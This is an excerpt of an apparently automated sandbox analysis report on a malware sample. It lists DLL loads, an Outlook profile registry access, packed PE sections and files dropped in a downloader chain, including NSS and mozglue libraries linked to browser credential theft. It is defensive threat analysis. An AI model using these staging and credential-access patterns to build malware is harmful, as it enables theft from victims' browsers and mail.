Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: Rnteb46TuM.exe

Static file information: File size 2509824 > 1048576

Source: Rnteb46TuM.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x221800

Source:	Binary string: mozglue.pdbP source: Rnteb46TuM.exe, 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: Rnteb46TuM.exe, 00000000.00000002.2331455452.000000006C9CF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: Rnteb46TuM.exe, 00000000.00000002.2331455452.000000006C9CF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: Rnteb46TuM.exe, 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Unpacked PE file: 0.2.Rnteb46TuM.exe.500000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Unpacked PE file: 8.2.AFBFHDBKJE.exe.f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wcjrprme:EW;aczpyjwy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wcjrprme:EW;aczpyjwy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 10.2.explorti.exe.f10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wcjrprme:EW;aczpyjwy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wcjrprme:EW;aczpyjwy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 11.2.explorti.exe.f10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wcjrprme:EW;aczpyjwy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wcjrprme:EW;aczpyjwy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Unpacked PE file: 12.2.6e6e496542.exe.410000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 15.2.explorti.exe.f10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wcjrprme:EW;aczpyjwy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wcjrprme:EW;aczpyjwy:EW;.taggant:EW;

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

Code function: 0_2_6C7FC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C7FC410

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: random[1].exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x272832
Source: Rnteb46TuM.exe	Static PE information: real checksum: 0x0 should be: 0x27164b
Source: explorti.exe.8.dr	Static PE information: real checksum: 0x1d2111 should be: 0x1d86f0
Source: 6e6e496542.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x272832
Source: AFBFHDBKJE.exe.0.dr	Static PE information: real checksum: 0x1d2111 should be: 0x1d86f0
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1d2111 should be: 0x1d86f0

Source: Rnteb46TuM.exe	Static PE information: section name:
Source: Rnteb46TuM.exe	Static PE information: section name:
Source: Rnteb46TuM.exe	Static PE information: section name:
Source: Rnteb46TuM.exe	Static PE information: section name:
Source: Rnteb46TuM.exe	Static PE information: section name:
Source: AFBFHDBKJE.exe.0.dr	Static PE information: section name:
Source: AFBFHDBKJE.exe.0.dr	Static PE information: section name: .idata
Source: AFBFHDBKJE.exe.0.dr	Static PE information: section name:
Source: AFBFHDBKJE.exe.0.dr	Static PE information: section name: wcjrprme
Source: AFBFHDBKJE.exe.0.dr	Static PE information: section name: aczpyjwy
Source: AFBFHDBKJE.exe.0.dr	Static PE information: section name: .taggant
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: wcjrprme
Source: amadka[1].exe.0.dr	Static PE information: section name: aczpyjwy
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: explorti.exe.8.dr	Static PE information: section name:
Source: explorti.exe.8.dr	Static PE information: section name: .idata
Source: explorti.exe.8.dr	Static PE information: section name:
Source: explorti.exe.8.dr	Static PE information: section name: wcjrprme
Source: explorti.exe.8.dr	Static PE information: section name: aczpyjwy
Source: explorti.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: 6e6e496542.exe.10.dr	Static PE information: section name:
Source: 6e6e496542.exe.10.dr	Static PE information: section name:
Source: 6e6e496542.exe.10.dr	Static PE information: section name:
Source: 6e6e496542.exe.10.dr	Static PE information: section name:
Source: 6e6e496542.exe.10.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7CB536 push ecx; ret	0_2_6C7CB549
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00F2D82C push ecx; ret	10_2_00F2D83F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A2A70 push 7F7A0002h; ret	12_2_7F7A2A7F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1E70 push 7F7A0002h; ret	12_2_7F7A1E7F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1B70 push 7F7A0002h; ret	12_2_7F7A1B7F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A0F70 push 7F7A0002h; ret	12_2_7F7A0F7F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1270 push 7F7A0002h; ret	12_2_7F7A127F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1570 push 7F7A0002h; ret	12_2_7F7A157F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1870 push 7F7A0002h; ret	12_2_7F7A187F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A2170 push 7F7A0002h; ret	12_2_7F7A217F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A2470 push 7F7A0002h; ret	12_2_7F7A247F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A2770 push 7F7A0002h; ret	12_2_7F7A277F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A2B60 push 7F7A0002h; ret	12_2_7F7A2B6F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A2860 push 7F7A0002h; ret	12_2_7F7A286F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1C60 push 7F7A0002h; ret	12_2_7F7A1C6F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A0D60 push 7F7A0002h; ret	12_2_7F7A0D6F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1060 push 7F7A0002h; ret	12_2_7F7A106F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1360 push 7F7A0002h; ret	12_2_7F7A136F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1660 push 7F7A0002h; ret	12_2_7F7A166F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1960 push 7F7A0002h; ret	12_2_7F7A196F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1F60 push 7F7A0002h; ret	12_2_7F7A1F6F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A2260 push 7F7A0002h; ret	12_2_7F7A226F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A2560 push 7F7A0002h; ret	12_2_7F7A256F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A2C50 push 7F7A0002h; ret	12_2_7F7A2C5F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A2950 push 7F7A0002h; ret	12_2_7F7A295F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1D50 push 7F7A0002h; ret	12_2_7F7A1D5F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A0E50 push 7F7A0002h; ret	12_2_7F7A0E5F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1150 push 7F7A0002h; ret	12_2_7F7A115F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1450 push 7F7A0002h; ret	12_2_7F7A145F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1750 push 7F7A0002h; ret	12_2_7F7A175F
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A1A50 push 7F7A0002h; ret	12_2_7F7A1A5F

Source: Rnteb46TuM.exe	Static PE information: section name: entropy: 7.9949641655914805
Source: Rnteb46TuM.exe	Static PE information: section name: entropy: 7.980309777125587
Source: Rnteb46TuM.exe	Static PE information: section name: entropy: 7.952939990721896
Source: AFBFHDBKJE.exe.0.dr	Static PE information: section name: entropy: 7.981967359811176
Source: AFBFHDBKJE.exe.0.dr	Static PE information: section name: wcjrprme entropy: 7.953701323474707
Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.981967359811176
Source: amadka[1].exe.0.dr	Static PE information: section name: wcjrprme entropy: 7.953701323474707
Source: explorti.exe.8.dr	Static PE information: section name: entropy: 7.981967359811176
Source: explorti.exe.8.dr	Static PE information: section name: wcjrprme entropy: 7.953701323474707
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.994663485275653
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.978967197470916
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.953780146204382
Source: 6e6e496542.exe.10.dr	Static PE information: section name: entropy: 7.994663485275653
Source: 6e6e496542.exe.10.dr	Static PE information: section name: entropy: 7.978967197470916
Source: 6e6e496542.exe.10.dr	Static PE information: section name: entropy: 7.953780146204382

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
